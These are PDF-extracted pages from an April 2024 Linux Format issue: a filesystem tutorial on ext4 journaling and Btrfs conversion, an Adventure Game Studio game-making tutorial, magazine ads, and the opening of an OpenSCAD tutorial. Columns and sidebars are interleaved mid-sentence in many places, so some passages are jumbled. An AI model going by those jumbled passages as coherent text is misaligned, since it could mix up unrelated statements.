setup process and installs the guest additions silently in the you need to add your user to the sudoers file. Open a terminal
background. It ends with you placed at the login screen. Before window and type the following:
signing in, however, we recommend shutting down and opening $ su
the VM’s settings to set up the machine with 3D acceleration and $usermod -aG sudo username
other recommended settings. Reboot your VM for the change to take effect.

IMPROVE YOUR LINUX SKILLS Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 55


TUTORIALS Filesystems

EXT4
Credit: https://ext4.wiki.kernel.org

What’s in a filesystem?
Mats Tage Axelsson explains how your filesystem keeps everything
running smoothly and when it might help for you to do something about it.

henever your computer starts, it uses the

W filesystem on your disk. Nothing runs without


it. This makes everything dependent on this
part of your experience. Filesystem access is most
obvious on boot and when you start applications –
opening new files, saving them and keeping them safe
OUR through hard times and failures.
EXPERT Throughout the history of Linux, the filesystem has
Mats Tage evolved from a simple thing to a marvel of precision.
Axelsson Support for the size of disks increased over the
can be counted decades since the first version. In the early ’90s, most
on to find new computers would risk a total disk crash if shut down
ways to simplify improperly. This risk is close to zero in modern systems
your Linux usage thanks to new features in filesystems, the key one here
in complex ways. being journaling. When you run the fdisk program, it shows a long list of
Anything to Designers can also change the filesystem without filesystems you can create on a disk.
seem as cool as redesigning anything else in the kernel – this feature is
he thinks he is. called the Virtual File System, VFS. used the Minix OS. This was an obvious choice, as its
In the future, improvements will go further by purpose was education. It was a tool for computer
adding more granular control of degradation of data science students to learn how to make an OS.
during operation. Did you know that flipping a single bit Since Minix was the OS, it follows that the
in a JPEG can cause damage over the entire image? filesystem is also called Minix. It very quickly became
With Btrfs and XFS, you can protect against such flaws. clear that there were severe limitations to this system.
This shows the value of such next-gen filesystems. Minix supports only 14 characters in filenames and
The history of Linux filesystems starts before Linux 64MB of storage per partition. If you create a partition
itself. For the first iteration of the Linux kernel, Torvalds (using fdisk), you can see that a Minix partition,
regardless of size, is never larger than 64MB.
Linus did not build his own filesystem to remedy this
NTFS: GOOD OR BAD? problem. Rémy Card was instead hard at work creating
the ext (Extended) filesystem. Despite being a vast
As Linux lovers, we have a serious suspicion of anything Microsoft. improvement over Minix, even Rémy saw its limitations.
That said, NTFS, originally for Windows, is quite good. Windows first So, he started creating the second extended (ext2)
used the FAT (File Allocation Table) system, which has pointers to filesystem immediately. Ext1 only supported a single
files. In the upgrade, NTFS has the MFT (Master File Table), which file timestamp (modern filesystems support creation,
contains pointers to files and, if small, the files themselves. There is modify and accessed), it didn’t manage fragmentation
also a safety copy of the MFT on disk. This can make handling small and inodes were immutable.
files really fast. The only caveat is that it causes problems when you Despite these limitations, it enabled Linus to
have too many small files. The MFT gets full and has to be implement the first version of the Virtual File System.
re-arranged too often, causing drag. One powerful thing about the VFS was an important Linux milestone as it introduced
MFT is that it can cache small files, making it more likely to avoid abstraction at an early stage. As you can guess, the
fragmentation. The disk space for a file can be chosen pre-emptively. VFS creates a virtual image of the filesystem below.
It also uses a b-tree structure (compare Btrfs – the b-tree fs), This gives you the option to use any filesystem
making file search fast. In addition, it uses journaling and logging to while developers can ignore any specifics of that. A
recover files after a failure. This allows the system to write files that developer of GIMP – as an example – wants to save the
were only half written to disk in a crash. Compression is also built in, latest changes. With VFS, that code calls the write to
in contrast to the older FAT32 system. file function, the kernel then sends it to the underlying
With all these features, and big enough files, the NTFS system is function that keeps track of the file.
actually pretty decent. After all, many businesses rely on it. It may seem trivial to save a file to disk, but given
potential system failure, fragmentation of the file and

56 LXF313 April 2024 www.linuxformat.com


Filesystems TUTORIALS

other complications, these are details that perplex


even the most brilliant programmer, but they can now
all be ignored. With a simple interface for application
programmers, tuning of filesystem features could
begin in earnest.
All these developments happened from 1991 until
1992. As soon as the ext system was ready, Rémy Card
started development of ext2. This was the first version
that was commercially viable, in January 1993.
Why this version was ready for prime time is that
it can handle filesystem sizes up to four terabytes.
Enough even for contemporary laptop and desktop
systems. It did, however, lack support for journaling,
making it hard to recover files. Despite the newer
ext3 and ext4, you can still consider ext2 for flash
drives and similar. And the reason for this is ext2’s
lack of journaling. Journaling causes more writes,
shortening the lifespan of some storage devices. As a
side note, use the noatime mount option for this, since
it keeps writing the access time otherwise.
files this huge, though they are more interested in the On disks using
Still in the second extension nanosecond-level timestamps added in ext4. the minix system,
you can see that
The systems on your desktop or laptop are probably It could be that if you have a database running, you even on a 2GB
using ext4. The power of this filesystem is the may also need more granular timestamps afforded in disk you can only
journaling system – it can save your data in case of a this case. But features that may actually help you with access 64MB.
crash. Even when your battery runs out, next time you performance are online defragmentation, delayed
boot, many writes can happen that the system had put allocation and more.
into the journal before the failure. At boot, you may see The current range of filesystems have been around
text about orphaned inodes; this is the kernel reading for decades. The reason is that they were well thought
the journal and cleaning up writes that were half done out from the beginning, though newer versions are
before failure. In many cases, the file you were writing on the way. Any improvements are very ambitious
can still need restoring, but before journaling, your attempts at making storage safer, while also easier
entire filesystem would have been at risk. to handle when corruption happens. While ext4’s
Designers considered the work of moving an ext2 checksumming helps identify corrupt superblocks,
filesystem to ext3, so made it simple. They continued better solutions are required than this.
this when creating ext4. If you have an old ext2 or ext3
drive that you want to use, the ext4 driver can still read Using your journal
and write to it. The biggest development of Linux filesystems was
If you want to change the drive to ext4, the the journal. The main idea of the journal was to have
recommended path is to reformat. For stubborn records that could help fsck repair a disk quicker than
people, it is possible to do it on disk – check the before. Without the journal, fsck had to check every
e2fsprogs for guidance. single block for problems, even the empty ones.
But why are you using ext4 – surely you don’t need This caused the repair and check functions to take
the 1EiB filesystem size or the 16TiB file size? As much longer than they do now. Have you had a crash
impressive as these features are, they’re not really lately? Where your disk had the dreaded orphaned Even if you
useful for the average home user, and frankly even nodes? The time you wait for that nowadays is hardly know you want
most corporations. Scientific institutions can generate noticeable. Before the journal, this recovery would to use a new
filesystem, try it
always take hours if not days. We exaggerate for effect,
out beyond the
but with big systems, it was unacceptable.
root filesystem
How does the filesystem achieve such fast recovery before filling the
times? It does it by keeping track of ongoing writes whole system.
in the journal – this also keeps the empty blocks out
of the check. As the procedure goes through the
recovery, it simply verifies which journal entry is still
pending and reverts the inode tables to point at the
healthy inodes. An empty slot has no entries, so need
not be checked.
If you have ever used a database, you may
recognise how a journal works. When your application
wants to write data to your disk, it asks to open the file,
sends what needs to change and the filesystem figures
out where to put it. A journaling filesystem creates
a transaction that describes all these changes. These
After having created a partition, you must create the filesystem. Note transactions are in a separate section of your partition,
the superblock backups! You can also mess things up… the first one after the boot sector. The transactions

www.techradar.com/pro/linux April 2024 LXF313 57


TUTORIALS Filesystems

Other solutions include next-generation filesystems,


such as Btrfs or ZFS. Let’s emphasise here: these
Even more choices are for data centres, they are not necessary
exciting is to for your laptop. Nor are they usually possible to
set NixOS up implement on a single-disk system. When you hear
with rootfs as a “other” solutions, note that good old RAID technology
tmpfs system. is still used widely in the industry, often together with
This gets filesystems such as Btrfs, ext4 and LVM.
complicated This is where Btrfs has some way to go. Even the
in a flash, so developers admit their solution for spreading the risk
use a separate
over a RAID cluster is hard to work and even unstable.
system.
Another solution for these kinds of deployments is
ZFS, which handles these issues gallantly. It even runs
in commercial operations in major corporations.
For your home lab or laptop, there are advantages
with Btrfs that you may want to try. The way it supports
snapshots, for instance, is simple and intuitive.
Snapshots are a way to create backups. Btrfs uses a
subvolume function, a frozen copy of data, just like a
still picture. A similar feature exists in the Logical
With the fdisk program you can set the type of partition you want, not Volume Manager. The subvolume in Btrfs works
the file system. That happens with mkfs.disk. differently, though. Btrfs can, in contrast to LVM,
mount the subvolume and use it as a rollback.
contain the data to put and point to the block where it With the btrbk tool, you can also create remote
should go. backups from the subvolume of your disk. The tool
When recovering after a crash, the filesystem makes an incremental backup by default but you can
writes the transactions that were about to happen override that. Set this as a daily or more frequent
before the crash. This means that during mount, the process and you have a safe backup more or less
filesystem saves the files you tried to save. This is constantly. The first time you run the tool takes longer,
called replaying the journal. So, anything that made as all data must be copied over to the backup system.
it to the journal is on your disk as it was meant to be Setting this backup up involves choosing the
before the crash happened. destination, which can include an SFTP address. This is
a Perl script you can add to your system.
Comparing filesystems For bigger installations, ZFS is a popular choice.
Despite the arrival of newer, sexier filesystems in Industry leaders consider it stable enough to use in
recent years, ext4 has remained the default for most if mission-critical deployments. The problem is that
not all distributions. Improvements to the system are licensing terms do not allow inclusion in the Linux
still incoming from developers, but there are a few kernel. Getting around this problem is possible with
issues that require a rethink. DKMS (Dynamic Kernel Module Support). Thanks to
Those issues mostly concern data stability and the OpenZFS project, administrators can download and
recovery after failure. The most glaring situations are in install the module despite the hurdles.
professional environments, where uptime is essential With similar features to Btrfs, ZFS offers integrated
and recovery should be as fast as possible. Currently, volume management, copy-on-write data and
big data centres use combinations of Logical Volume metadata, snapshots and more. These features create
Management and RAID technology. a system that can run constantly while still having a
remote backup. Checksum functions can also recover
To find out vital data from degraded systems, known as self-healing.
information about
your files and
filesystem, check Moving costs
the results of the When you are sitting at your desk, changing filesystem
stat command. is seldom at the top of your mind. It’s not like you can
do it at the drop of hat. It takes a lot of planning and
also a specification about how your system performs
and where it needs improvement.
In most cases, groups sit in stuffy meeting rooms,
discussing these values and the motivation. Above all,
they ponder the cost of doing the job and the value
of doing it. Considering the robustness of ext4, it’s
unlikely most home users would be really interested in
a shift. But being an LXF reader, you may consider doing
this for self-education purposes. If you set up your own
server to handle files, videos or even smart home data,
you may want to try it out yourself.
On rare occasions, you may have a project that
requires more robust file handling. One example would

58 LXF313 April 2024 www.linuxformat.com


Filesystems TUTORIALS

be to set up your own file server either for your own


home use or for a club. This would qualify as an BCACHEFS – COMING SOON!
occasion to flex your Linux muscles and fine-tune both
files and procedures. If you do start experimenting with A similar effort to Btrfs is underway, namely Bcachefs. The features
this, join the community to report issues and solve that the developer (Kent Overstreet) seeks are actually in ZFS and
some of them. Btrfs, but there are issues.
If you do decide to try out a new filesystem, will it be Btrfs still has many problems with RAID systems; even the manual
on a new or old system? What’s the best approach? states there are serious problems with certain configurations.
Should you do testing? Here are two alternatives if you ZFS is great for many things but the licensing is not compatible
choose the path towards a better filesystem. with the Linux kernel. Which means Linus will not add it to the
kernel, unless Oracle boss Larry Ellison signs off on it.
Converting the mass storage Other main differences are that it acts as a database, and it has
This option is available in the original tool, btrfs- more sophisticated checksumming and multi-device functionality. In
convert. With a clear disk, you can get started fact, it is mainly for multi-device filesystems. While the goal of the
immediately. Do not assume you have a clear disk. project is to create a COW (copy-on-write) system, the developers
Instead, run a filesystem check before you start. The intend to improve it substantially. Already, users have been testing it
majority of readers will have ext4 on their drives, and are pleased with what they see. From there to going mainstream
although Reiser is also available. is a long road, though.
$ e2fsck /dev/sdb1 Despite the pleased users, adding it to the kernel did not happen
Note that you will get weird errors if you omit the until January 2024 (kernel 6.7). This is a great stride forward and
number of the partition. Now that it is full of data, you bodes well for its future. Now that you can get a mainline kernel
need the Btrfs tools. Standard settings are usually with support, the speed of testing it for more serious environments
good. One thing you must remember to do is make will increase. Getting a filesystem into production is a major
sure you have enough space on the drive before you undertaking, so the future will tell whether Bcachefs will be a hit for
start. You may need up to 10GB for a 100GB drive. users and administrators alike. In the meantime, keep it on your lab
$ btrfs-convert /dev/sdb1 equipment and help the developers.
You can add a few options to make it more efficient.
Your drive now has a snapshot of your old ext4 drive,
so you can rollback if you notice something fishy. Once desktop. With that said, the Btrfs system is stable for
you have seen the performance and are certain that single-disk systems, which means your laptop can
you made a brilliant choice, you can continue. benefit from some of the brilliant features that help
On your drive is a subvolume named ext2_saved, serve your files.
this is the data that a rollback would use. Remove it to Looking into all the filesystems that ever existed, The next-
commit yourself to this new world of file handling. You you find a vast array of choices. Apart from being generation
will see it as a directory under the mounted drive. developed for each operating system, they are also filesystem you
$ sudo btrfs subvolume delete /mnt/ext2_saved built for specific purposes. The needs vary depending will hear about
Now that you are in the realm of next-generation on the way developers use the entire system. You can is Btrfs, or
filesystems, you have options of optimisation. imagine that flash memory has differing requirements Butter fs. This is
fully supported
Ordinarily, a Btrfs filesystem behaves well when it to that of a distributed computer cluster, and hopefully
and the default
comes to fragmentation and other nasty stuff but the our write-up has helped open your eyes to alternative
in OpenSUSE.
conversion is far from perfect. That is the reason that options for when the needs arise.
you should defrag and ‘balance’ the drive.
$ sudo btrfs filesystem defragment -v -r -f -t 32M /mnt/
This command checks files and attempts to make
them more contiguous. It shows the size of extents,
which the system uses to extend files. Bigger extents
take more space but smaller ones spread files more.
$ sudo btrfs balance start -m /mnt/
The balance effort is there to reduce the number of
metadata block groups via merging. The fewer groups,
the less space wasted and fewer searches in the tree.
Your other, and frankly recommended, way to move
to Btrfs is to back up your data, and format the drive
for Btrfs, then restore from the backup.
Since you will first try this brave new world on a
separate drive, just make it Btrfs and start filling it up.
You can later transfer files across drives to complete
migration. Back up the files, then put them back on.

Real-world time
Switching to a potentially experimental filesystem isn’t
something you should consider for your day-to-day Using the GUI to create a partition is easier but limits you to the most common filesystems.

IMPROVE YOUR LINUX SKILLS Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 59


BACK ISSUES

BACK ISSUES MISSED ONE?


ISSUE 312 ISSUE 311 ISSUE 310
March 2024 February 2024 January 2024

Product code: Product code: Product code:


LXFDB0312 LXFDB0311 LXFDB0310

In the magazine In the magazine In the magazine


Blast off into Stay safe online Learn Linux
the future with a look at the five by sending net nasties to Pi-hole, with our in-depth guide to getting
best next-gen distros, and discover and read about the rise and fall (and started with Elementary OS, or
whether Raspberry Pi or Orange rise again) of Basic, and the roll-out explore a more security-centric
Pi is the best SBC for you. Plus, of the rolling-release Rhino Linux distro as we dive into Tails. Plus, find
learn how to rescue retro media, distro. You can also learn how to out how to perfect the art of OCR,
add NPCs to your own point-and- strengthen your shell history, set finish your WordPress website,
click adventure, emulate an up a home CCTV system, add an recreate the BBC Micro, and make
analogue computer, and lots more. inventory to your point-and-click your own point-and-click adventure.
We’ve also squeezed in hardware adventure, and much more. Plus, And no issue of Linux Format would
and distro reviews, a password check out our packed reviews, be complete without news, reviews,
manager Roundup, news and more. news and Raspberry Pi sections. Pi projects and much more besides.

ISSUE 309 ISSUE 308 ISSUE 307


December 2023 November 2023 October 2023

Product code: Product code: Product code:


LXFDB0309 LXFDB0308 LXFDB0307

In the magazine In the magazine In the magazine


Manage your Bring together Power up your
apps by harnessing the power of all your movie, TV, music, audiobook Pi with awesome AI projects, and
Podman, and discover how random and photo streaming needs under take control of your phone with the
numbers are used by the kernel to one roof. Plus, we take an in-depth privacy-focused /e/OS. Plus, find
keep your data safe. Plus, find out look at the Pop!_OS distro, explain out which open source personal
how to master printing in Linux, how networking works, and guide you cloud server is best for you, read all
customise your WordPress website, through tutorials on WordPress, fast about the forthcoming Wi-Fi 7, and
tweak your kernel scheduler, use file management, reviving the BBC discover how to transform images
Python to scrape the web, process Domesday Project and more. And into GIFs via the terminal, manage a
your smart-home data, and much don’t forget to check out our packed VPS, boost your Steam Deck, and
more. And make sure you read our reviews section, plus we examine the much more. And there’s our usual
Roundup of Raspberry Pi killers… brand-new Raspberry Pi 5. news, reviews and sysadmin tips.

To order, visit www.magazinesdirect.com


Select Single Issues from the tab menu, then select Linux Format.

Or call the back issues hotline on 0330 333 1113


or +44 (0)330 333 1113 for overseas orders.
Quote the product code shown above and have your credit or debit card details ready.

60 LXF313 April 2024 www.linuxformat.com


UK readers
USA? EU? THE MOON?
*
turn to
p16

Don’t wait for the latest issue to reach your local store –
subscribe today and let Linux Format fly straight to you.
Faster, cheaper and with DRM-free archive access!

3 GREAT
WAYS TO
SUBSCRIBE
Print, digita
l-only,
and print+d
igital
bundles!

USA REST OF THE WORLD EUROPE


From $135.49 From $135.49 From €119.49
For 13 issues For 13 issues For 13 issues

IT’S EASY TO SUBSCRIBE!


Visit www.magazinesdirect.com/linux-format
Call +44 0330 333 1113
Lines open Monday-Friday, 9am-5pm, UK time.
*We don’t actually deliver to the Moon. Yet.

www.techradar.com/pro/linux April 2024 LXF313 61


TUTORIALS Point-and-click adventure

ADVENTURE GAME STUDIO Part four!


Catch up by
Credit: www.adventuregamestudio.co.uk
ordering back

Moving rooms and


issues on
page 60!

sharing your game


Nate Drake invites you to relive the glory days of point-and-click
adventure games by creating your very own.

f you’ve been following this series, you now a player leaves it – this can be helpful if the area

I have the makings of an interactive room.


You’ve also created objects that can be picked
contains a puzzle the character must solve in order
to pass. You can also set a room number, although in
up and used to interact with the environment. You’ve this case you can leave the default value (2). If you’re
made the NPC Robbie the Robot, too, who can have planning a particularly vast adventure, remember that
conversations with the player and give your character only room numbers below 300 save the player state.
OUR items if you follow the correct conversation tree. Click OK to continue.
EXPERT Room 2 now appears in the project tree. Click the +
Nate Drake Create your next room to expand, then choose Edit Room. You’ll see this is
is a tech Having completed all available actions in this room, it’s currently a black space. In the Room Details, click
journalist time to configure the game to allow your character to Change next to Main Background. From here you can
specialising in move into another. The first step is to create a suitable select the background you created or downloaded
cybersecurity background for your room. When doing this, you need earlier via File Explorer.
and retro games. to be mindful of the original resolution of your game (in
The first thing this case, 320x200). Defining boundaries
he did when Adventure Game Studio (AGS) does support Use the Zoom slider to shrink the scale down to 50%.
discovering scrolling backgrounds of the kind found in many a Next, we’re simply going to repeat the steps we took
Linux in 2004 LucasArts adventure. To do this, import a background in the first tutorial to define this room’s edges and
was play larger than the game’s resolution. The virtual camera walkable areas.
Beneath a Steel automatically follows your character around. In the room editor section, click the … next to
Sky. Be vigilant. For the purposes of this guide, though, we suggest Edit This Room’s > Room and select Edges. You can
you keep things simple. You can download a 320x200 click and drag these individually. As you’re now more
background we created using AI from https://bit.ly/ comfortable with the AGS interface, make sure you
lxf313back. Once you have this or a background image also take a look at the properties grid. From here, you
you made yourself, launch AGS and click Rooms in the can go through the Edges section to define the values
project tree. Select New Room. such as LeftEdgeX manually if you wish. Use the
The Create New Room wizard now appears. You’ll mouse cursor along with Mouse Coords at the top-left
Get the notice that you have the option to reset the room when to determine the correct values.
full project Next, click the … next to Room once again and
from Nate’s choose Walkable Areas. You can now click the new …
repository: that appears to set up a new area – for example,
https:// Walkable Area 1.
github.com/ If you downloaded the sample background earlier,
azuregate/ you can use the rectangle tool above to define a
pointand walkable area. Otherwise, customise walkable areas
clicklxf
to your own background as you see fit.
In the project tree, double click on Edit Room next
to Room 1. We’re going to start with the easiest type
of transition between rooms, which occurs when a
When adding a character walks past one of the edges.
new room, make Firstly, return to the room editor section and raise
sure you clearly the room’s bottom edge slightly so that it intersects
define the room
edges, walkable
with the small outcropping at the bottom-right.
areas, objects Next, we need to tell AGS to load the next room
and hotspots. when the character walks beyond this boundary. Click

62 LXF313 April 2024 www.linuxformat.com


Point-and-click adventure TUTORIALS

the Events button (signified by a lightning symbol)


in the properties grid.
From here you can see various options. Click the …
next to Walks Off Bottom Edge for now. This takes
you into the Room1 script. From here you can have
your character change to a new room and coordinates
– for instance:
cNate.ChangeRoom(2, 84, 187);
Next, press F5 to save and run your game. Have
your character head down to the bottom-right and
watch as they transition from one room to the next.

A matter of scale
If you like to keep your room all on one screen as we
do, you may prefer to add some perspective for your
character to make them fit their surroundings better. that transports them elsewhere, the character could Custom properties
The sample background for Room 2 is a vast be unable to leave the room. let you define new
values for items
cyberpunk-style hangar, so it would make sense for like hotspots, such
our character to appear a little smaller. Conditional exits as whether a door
To achieve this, return to the project tree and Using regions is an excellent way to transition between is unlocked.
choose Edit Room under Room 2. In the properties rooms automatically. But many games don’t allow you
grid, change the value for ScalingLevel, to a different to progress to a certain area unless certain conditions
percentage, such as 50. are fulfilled first.
Save and run the game again. When your character In the previous tutorial, when interacting with
appears in Room 2 this time, they appear half the usual Robbie, it’s possible for the player to have their key
size to reflect its vastness. upgraded to a master key that fits any lock. What if the
Although it’s outside the scope of this tutorial, you player needed to use this special item to visit a new
can also dynamically scale your character within a area? To do this, return to Edit Room under Room 2
room by changing the property UseContinuousScaling and remove Region ID 1 using the Erase tool, because
from False to True. it’s served its purpose.
If you do this, you’ll see ScalingLevel is replaced by Next return to the room editor and choose Edit This
two properties: MinScalingLevel and MaxScalingLevel. Room’s > Room > Hotspots > hHotSpot1.
By default, these are both set to 100. You can, however, For the purposes of this example, we’ve used the
change these values – for example, to 100 and 200 rectangle tool to define roughly where the entrance to
respectively – to have your character change size as the shaft will be, but feel free to use your imagination.
they move between the bottom and top of the room. In the properties grid, be sure to set a memorable

Room regions
When creating rooms so far, we’ve inserted edges, ADDING SOUNDS
walkable areas and interactive hotspots. You can also
add regions to rooms. These are areas of a room that Music and sound effects are adventures. To get started,
can trigger an event when the player walks to them, handled in the Audio section of use your own soundtrack or
such as transitioning to a new room. the AGS project tree. download a public domain one
In our sample background for Room 2, there’s a For now, let’s introduce a from https://bit.ly/lxf313mp3.
large grey lift shaft on the left-hand side of the screen, simple sound to play when the Next, right-click Music under
so we can define the base of this as a region to return character successfully picks up Audio in the project tree and
the player to Room 1 when they walk to it. an object. For testing purposes, choose Add Audio File(s) once
To get started, return to Edit Room under Room 2 you can download a public again. From here you can import
in the project tree. In the room editor section, choose domain WAV file from https:// your soundtrack. Right-click
Edit This Room’s > Regions > Region ID 1. Use the bit.ly/lxf313wav. again to give it a meaningful
rectangle or freeform and fill tools to define the Next, right-click Sounds in the name, such as aRoom1Music.
region you want, making sure that it falls within the project tree and choose Add Double-click on Edit Room
character’s walkable areas. Audio File(s). From here you under Room1 in the project tree.
Once the region is created, click the Events button can navigate to the sound you If you click the Events button,
in the properties grid. You’ll see there are three downloaded. Once imported, you can insert a command to
different types of event that a character can trigger: right-click and choose Rename play the sound by clicking the …
when they walk on to a region, when they walk away to call it something easily next to Enters Room After Fade-
or when they’re standing on one. recognisable, such as aPickup. In – for example:
For now, click the … next to Walks On To Region. Playing the sound within the aRoom1Music.Play();
This brings up the Room 2 code, where you can game is very simple, using the Click the … next to the
transport the player back to Room 1, for example: Play function – for example: Leaves Room event to end the
cNate.ChangeRoom(1, 265, 151); aPickup.Play(); soundtrack when the character
Pay close attention to the coordinates you use for Music usually works on a per leaves the room – for instance:
ChangeRoom, as if you have the player appear in an room basis for point-and-click aRoom1Music.Stop();
area past the edges you’ve defined, or within a region

www.techradar.com/pro/linux April 2024 LXF313 63


TUTORIALS Point-and-click adventure

name, such as hElevator. Write something meaningful play so fair, forcing players to actually work out that
under Description, too, such as Elevator Door. You they need to use specific items in order to progress.
should also specify a WalkToPoint so the character In this case, let’s imagine we want to make the game
If you create
a custom goes to it each time you try to interact with it. slightly harder by requiring the player to actually use
property for Next, click on the Events button and choose the … the Master Key inventory item on the Elevator Door.
a particular next to Looks At hotspot. This is where we’ll give the In AGS, return to Edit Room under Room 2 and click
item like a player a clue that the master key is required in the the Events button once again. Select the … next to Use
hotspot, such Room2 script, for example: Inventory On Hotspot. From here you can have the
as ‘unlocked’, Display(“The elevator door is now locked. If only I had game transport the player to another room, provided
all other items a master key...”); they’re using the iMasterKey item – for instance:
of the same Next return to the properties grid. Click the Events function hElevator_UseInv()
type share
button again, then on the … next to Interact Hotspot. {
this schema.
Now, we just need to construct a simple if/then if (player.ActiveInventory == iMasterKey) {
However, when
creating the statement to transport the player out of the room if Display(“You use your master key to open the
property, you they have the key or tell them they’re stuck if they elevator door.”);
can choose for don’t – for example: cNate.ChangeRoom(1, 265, 151);
it not to apply function hElevator_Interact() }
to other item {
types, such if (player.HasInventory(iMasterKey)) }
as characters {
and objects. Display(“You use your master key to open the Setting states
elevator door.”); As tricky as some point-and-click adventures can be,
cNate.ChangeRoom(1, 265, 151); they try to avoid you having to repeat the same actions
} over and over.
else In the case of doors, for instance, it makes sense
Display(“The elevator door is firmly locked.”); that once one has been unlocked, it remains that way.
} You also may want to set a default property for certain
Take a moment to save and run your game by items – for example, all windows should remain closed
pressing F5. First move into Room 2 without the until the player opens them.
master key. You’ll see the elevator door is locked and You can achieve this by setting custom properties.
you can’t progress (in reality, a game designer would When using AGS, you’ll have noticed that each time
never build an inescapable room in this way, but this is you interact with a character, object, hotspot and so
just for testing purposes). on within the editor, the properties grid displays a
Exit and run the game once again, this time going Properties option.
through the steps to obtain the master key by talking By way of example, let’s make it so that once the
to Robbie the Robot. Move to Room 2. Now when you player has used their master key on the elevator door,
click on the elevator door, your character transitions to it remains unlocked.
another room. To get started, click Edit Room under Room 2 in the
property tree. Then click the … next to the Properties
Itemised exits field. In the Edit Custom Properties window, click Edit
Checking for inventory items makes gameplay a little Schema. Now right-click anywhere in the new Edit
more tricky but LucasArts-style games don’t usually Property Schema window and select Add New

CUSTOMISING YOUR GAME


If you’re serious about the winsetup.exe file by
creating a professional- putting an icon called SETUP.
looking game, you may want ICO in the main game folder,
to change the EXE icon to then recompiling via AGS.
something other than AGS’s If this doesn’t work,
habitual blue cup. make sure the images in
Luckily, this is very question are actual icon files.
The launcher and setup icons can be
simple to do. First create or They must conform to a customised for Windows versions by
download an icon file and 256-colour palette and be placing the icons in the game project folder.
name it USER.ICO. Place the either 16x16 or 32x32 in size.
file inside the folder where If your game is particularly Although the original image files into smaller chunks. To
your game files are stored. weighty, you may want to doesn’t have to be in the do this, visit the General
Open AGS and hit F7 to build display a splash screen before rather ancient PCX format, it Settings pane in Adventure
an EXE of your game. the main window loads. You does need to be the correct Game Studio. In the Compiler
Once this is complete, you can do this by creating your colour depth and image section, find Split Resource
can open the compiled folder chosen image, then saving it resolution for your AGS game. Files Into X MB-Sized Chunks
to view your new EXE and as preload.pcx in the game You can also reduce loading and set this to the value of
icon. You can do the same for project folder. times by splitting resource your choice.

64 LXF313 April 2024 www.linuxformat.com


Point-and-click adventure TUTORIALS

Property. Use the name field to set a short and easy-


to-type value, such as Unlocked. In this case, you can
leave the Type as Boolean because a door only has two
possible states. Set the Default Value to 0 (locked). You
can optionally add a meaningful description here, such
as Is Item Unlocked?
In the Applies To field, uncheck any items to which
you do not want this property to apply. Click OK to
save your changes.
Next, click the Events button in the properties grid
and return to the code for Use Inventory On Hotspot.
Here you can add a line of code using the SetProperty
function to indicate the door is now unlocked:
hElevator.SetProperty(“unlocked”, 1);
Return once again to the events list for the
hElevator hotspot and open the code for Interact
Hotspot. You can now modify it to check if the door is
locked using the GetProperty function, as follows:
function hElevator_Interact() files can be found in the Compiled folder in the new You can change
{ Linux directory. the ScalingLevel
property in specific
if (hElevator.GetProperty(“unlocked”) > 0) Next, you need AGS for Linux. This isn’t a full-blown
rooms to make
{ editor but should be able to run compiled AGS games. your character
Display(“The elevator door is unlocked.”); If you’re using Ubuntu, there’s a Snap version, so you appear smaller
cNate.ChangeRoom(1, 265, 151); only need to open a terminal and run: relative to the
} $ sudo snap install ags space they’re in.
else If you’re using a version of Linux that doesn’t use
Display(“The elevator door is firmly locked.”); Snap, you can also compile the program manually by
} following the instructions at: https://github.com/
Take a moment to save and run your game again by adventuregamestudio/ags/blob/master/debian/
pressing F5. Go through the steps to obtain the master README.md.
key, then go to Room 2. Click on the elevator door to Once installed, simply open a terminal and navigate
see the message saying it’s firmly locked. Next, use the to the folder containing the compiled game, such as:
master key inventory item on the door to unlock it and $ cd Documents/Compiled/Linux
return to Room 1. You should now be able to run your game via the
Note that if you return to Room 2, the elevator ags command – for example:
door now remains unlocked, unless you specifically $ ags nate1
designed the room to reset when the player exits. If this fails, try just executing the Bash script itself –
for instance:
Exporting your game $ ./nate1
By now, your game is shaping up into something worth During our tests using an Ubuntu VM, we noticed
playing, so it’s time to export it so that it can be run that the compiled game had issues registering our
outside AGS. mouse movements. By way of a workaround, we
To get started, first use Ctrl+S to save the game and returned to General Settings in AGS and selected Web
close all open tabs besides the Start Page. under Build Target Platforms. This creates an HTML Press F7 to
Next go to the Build menu and select Build EXE. page, which can be loaded into any web browser to run quickly compile
AGS asks you to wait a few moments while the game the game. an EXE of
is created. If all goes well, you’ll see a notification in the your game.
output area saying ‘Compilation successful!’ Point and conclude This builds a
You can view the fruits of your labour in the game Whichever method you used to compile your game, it standalone
folder you originally created by opening Compiled > is now ready to be distributed to your friends, family or version of the
game for the
Windows. If you’re planning only on running the game even customers.
platforms
on Windows machines, there’s little more to do at this If you’ve decided you want to add extra functionality
you’ve
stage other than start sharing it with interested parties. to your adventure, don’t hesitate to check out the full designated
If, however, you want to run it on Linux, you need to AGS manual, available at https://adventuregame in General
compile it for that operating system. You can only do studio.github.io/ags-manual. Settings. By
this if you opted for the default Full installation of AGS You can also find examples of completed games, default, this
during setup. tips and answers to troubleshooting questions via is Windows
With your game open, return to the property tree the AGS forums (www.adventuregamestudio.co.uk/ only but you
and scroll up to General Settings. In the Compiler forums/index.php). Further information along with can modify
section, find the Build Target Platforms field. Click the some resources to help you get started on your this to include
Linux, Web and
drop-down menu to select Linux alongside Windows. first game are available via the AGS wiki (www.
Android, too.
Go to the Build menu and select Build EXE. The game adventuregamestudio.co.uk/wiki/Main_Page).

TAKE YOUR NEXT ADVENTURE… Subscribe now at http://bit.ly/LinuxFormat

www.techradar.com/pro/linux April 2024 LXF313 65


TUTORIALS CAD coding
Part One!
Don’t miss

OPENSCAD
Credit: http://openscad.org
next issue,
subscribe on
page 16!

Fix LEDs with some


coded CAD models
Hungarian boy genius Tam Hanna helps you improve your 3D models
with OpenSCAD, a 3D printer and a dose of home-renovation advice…

his tutorial and the one that will follow next

T month use a series of natural 3D objects to


introduce how OpenSCAD works. While a
complete discussion of the software’s programming
language is impossible due to the system’s power, we
will attempt to give an overview of the capabilities
OUR provided by this open source app to get you up and
EXPERT exploring this incredibly useful design tool.
Tam Hanna’s OpenSCAD, which started life in a (since run-down)
creativity can Austrian government research facility, has established
be compared to itself well – at the time of writing, almost all distros
the amount of provide a ready-to-run version. Sadly, these are usually
humour found in heavily out of date.
